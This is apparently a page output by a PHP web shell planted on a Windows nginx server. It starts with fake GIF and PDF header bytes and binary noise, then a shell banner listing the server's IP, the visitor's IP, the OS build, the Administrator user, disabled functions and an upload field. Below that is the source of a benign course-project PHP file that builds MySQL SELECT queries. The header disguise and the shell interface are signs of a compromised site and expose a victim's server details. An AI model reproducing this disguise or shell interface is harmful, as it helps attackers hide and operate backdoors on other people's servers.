GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST2146/_Archive/_info/ |
Upload File : |
<? // infoSELECT.phpinc $query="SHOW COLUMNS FROM ".$table; $fieldList = query_do($query,__FILE__,__LINE__); $fieldCount = $_SESSION['mysql_num_rows']; $isAlpha = array('date', 'time', 'year', 'char', 'blob', 'text', 'enum', 'set'); include('infoMenu.phpinc'); ?> <table><tr><td> <p><fieldset><legend><?=$table?> SELECT</legend> <form><textarea style="height:600px; width:978px;" wrap="off"> <? <? $query = "\$query = \"\nSELECT"."\n"; $querytable = "\$query = \"\nSELECT"."\n"; mysql_data_seek($fieldList, 0); while ($row = mysql_fetch_assoc($fieldList)) { $query .= " ".$row['Field'].",\n"; $querytable .= " ".$table.'.'.$row['Field'].",\n"; } $query = substr($query,0,strlen($query)-2)."\n"."FROM ".$table."\n"; $querytable = substr($querytable,0,strlen($querytable)-2)."\n"."FROM ".$table."\n"; include('infoWHERE.phpinc'); $query .= "ORDER BY ".$orderBy."\n"; $querytable .= "ORDER BY ".$table.'.'.$orderBy."\n"; $query .= "\";"."\n"; $querytable .= "\";"."\n"; echo $query."\n"; echo "\$".$table."List = query_do(\$query,__FILE__,__LINE__);"."\n"; echo "\$".$table."Count = \$_SESSION['mysql_num_rows'];"."\n"; echo "if (\$".$table."Count) {\n"; echo " \$".$table."Info = mysql_fetch_assoc(\$".$table."List);\n"; echo " mysql_data_seek(\$".$table."List, 0);"."\n"; echo " while (\$".$table."Info = mysql_fetch_assoc(\$".$table."List)) {"."\n"; echo " }"."\n"; echo "} else {\n"; echo "}"."\n"; echo "?>\n\n"; echo "<?\n"; echo $querytable; ?> ?> </textarea></form> </fieldset></p> </td></tr></table>